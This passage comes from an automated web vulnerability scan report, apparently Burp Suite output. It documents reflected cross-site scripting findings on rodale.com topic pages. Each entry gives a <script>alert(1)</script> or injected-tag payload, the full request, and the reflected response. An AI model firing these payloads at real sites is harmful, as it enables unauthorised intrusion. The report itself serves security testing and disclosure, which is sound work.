Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/alternative-medicine

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4fb5"><script>alert(1)</script>496d93b5ad8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/alternative-medicine?b4fb5"><script>alert(1)</script>496d93b5ad8=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:07:58 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:01 GMT
Date: Thu, 10 Mar 2011 17:08:01 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 34445

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/alternative-medicine?b4fb5"><script>alert(1)</script>496d93b5ad8=1" title="Register" class="moreLink">
...[SNIP]...

2.287. http://www.rodale.com/topic/anger-management [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/anger-management

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 210c2"><a>41c7a534c7c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic210c2"><a>41c7a534c7c/anger-management HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:13 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:38:15 GMT
Date: Thu, 10 Mar 2011 17:08:16 GMT
Content-Length: 22519
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic210c2"><a>41c7a534c7c topic210c2">
...[SNIP]...

2.288. http://www.rodale.com/topic/anger-management [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/anger-management

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aff69"><a>45ab7dcbd42 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/anger-managementaff69"><a>45ab7dcbd42 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:54 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:55 GMT
Date: Thu, 10 Mar 2011 17:08:55 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-anger-managementaff69"><a>45ab7dcbd42 node node-958">
...[SNIP]...

2.289. http://www.rodale.com/topic/anger-management [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/anger-management

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95eb5"><script>alert(1)</script>aa0e70c4975 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/anger-management?95eb5"><script>alert(1)</script>aa0e70c4975=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:12 GMT
Date: Thu, 10 Mar 2011 17:08:12 GMT
Content-Length: 32559
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/anger-management?95eb5"><script>alert(1)</script>aa0e70c4975=1" title="Register" class="moreLink">
...[SNIP]...

2.290. http://www.rodale.com/topic/antibacterial-soaps-and-cleaners [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/antibacterial-soaps-and-cleaners

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 323ac"><a>780225778de was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic323ac"><a>780225778de/antibacterial-soaps-and-cleaners HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:12 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:14 GMT
Date: Thu, 10 Mar 2011 17:08:14 GMT
Content-Length: 22567
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic323ac"><a>780225778de topic323ac">
...[SNIP]...

2.291. http://www.rodale.com/topic/antibacterial-soaps-and-cleaners [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/antibacterial-soaps-and-cleaners

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b285a"><a>d7b1aff951a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/antibacterial-soaps-and-cleanersb285a"><a>d7b1aff951a HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:57 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:00 GMT
Date: Thu, 10 Mar 2011 17:09:00 GMT
Content-Length: 22546
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-antibacterial-soaps-and-cleanersb285a"><a>d7b1aff951a node node-958">
...[SNIP]...

2.292. http://www.rodale.com/topic/antibacterial-soaps-and-cleaners [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/antibacterial-soaps-and-cleaners

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2e5c"><script>alert(1)</script>132b46e831 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/antibacterial-soaps-and-cleaners?d2e5c"><script>alert(1)</script>132b46e831=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:09 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:38:11 GMT
Date: Thu, 10 Mar 2011 17:08:12 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33690

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/antibacterial-soaps-and-cleaners?d2e5c"><script>alert(1)</script>132b46e831=1" title="Register" class="moreLink">
...[SNIP]...

2.293. http://www.rodale.com/topic/antioxidants-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/antioxidants-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2aa8e"><a>1cf13af4ff4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic2aa8e"><a>1cf13af4ff4/antioxidants-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:14 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:18 GMT
Date: Thu, 10 Mar 2011 17:08:18 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic2aa8e"><a>1cf13af4ff4 topic2aa8e">
...[SNIP]...

2.294. http://www.rodale.com/topic/antioxidants-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/antioxidants-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42a0a"><a>852ae07d284 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/antioxidants-042a0a"><a>852ae07d284 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:53 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:55 GMT
Date: Thu, 10 Mar 2011 17:08:55 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-antioxidants-042a0a"><a>852ae07d284 node node-958">
...[SNIP]...

2.295. http://www.rodale.com/topic/antioxidants-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/antioxidants-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ea14"><script>alert(1)</script>b7b2b40ef64 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/antioxidants-0?3ea14"><script>alert(1)</script>b7b2b40ef64=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:13 GMT
Date: Thu, 10 Mar 2011 17:08:13 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 41873

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/antioxidants-0?3ea14"><script>alert(1)</script>b7b2b40ef64=1" title="Register" class="moreLink">
...[SNIP]...

2.296. http://www.rodale.com/topic/anxiety [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/anxiety

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99b8a"><a>c4d41d71314 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic99b8a"><a>c4d41d71314/anxiety HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:16 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:19 GMT
Date: Thu, 10 Mar 2011 17:08:19 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic99b8a"><a>c4d41d71314 topic99b8a">
...[SNIP]...

2.297. http://www.rodale.com/topic/anxiety [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/anxiety

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c98fc"><a>ac3293fdc81 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/anxietyc98fc"><a>ac3293fdc81 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:56 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:59 GMT
Date: Thu, 10 Mar 2011 17:08:59 GMT
Content-Length: 22471
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-anxietyc98fc"><a>ac3293fdc81 node node-958">
...[SNIP]...

2.298. http://www.rodale.com/topic/anxiety [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/anxiety

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 19e58"><script>alert(1)</script>19018f2c63f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/anxiety?19e58"><script>alert(1)</script>19018f2c63f=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:12 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:15 GMT
Date: Thu, 10 Mar 2011 17:08:15 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 36938

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/anxiety?19e58"><script>alert(1)</script>19018f2c63f=1" title="Register" class="moreLink">
...[SNIP]...

2.299. http://www.rodale.com/topic/arthritis [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/arthritis

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a7e38"><a>b62b464301 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topica7e38"><a>b62b464301/arthritis HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:23 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:27 GMT
Date: Thu, 10 Mar 2011 17:08:27 GMT
Content-Length: 22494
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topica7e38"><a>b62b464301 topica7e38">
...[SNIP]...

2.300. http://www.rodale.com/topic/arthritis [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/arthritis

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96b95"><a>4fb5475215b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/arthritis96b95"><a>4fb5475215b HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:16 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:20 GMT
Date: Thu, 10 Mar 2011 17:09:20 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-arthritis96b95"><a>4fb5475215b node node-958">
...[SNIP]...

2.301. http://www.rodale.com/topic/arthritis [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/arthritis

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e553"><script>alert(1)</script>4f7c48f6c00 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/arthritis?2e553"><script>alert(1)</script>4f7c48f6c00=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:16 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:22 GMT
Date: Thu, 10 Mar 2011 17:08:22 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 34093

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/arthritis?2e553"><script>alert(1)</script>4f7c48f6c00=1" title="Register" class="moreLink">
...[SNIP]...

2.302. http://www.rodale.com/topic/asthma [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/asthma

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9482a"><a>df304c49427 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic9482a"><a>df304c49427/asthma HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:08:29 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:38:30 GMT
Date: Thu, 10 Mar 2011 17:08:30 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic9482a"><a>df304c49427 topic9482a">
...[SNIP]...

2.303. http://www.rodale.com/topic/asthma [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/asthma

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2befb"><a>776892ce270 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/asthma2befb"><a>776892ce270 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

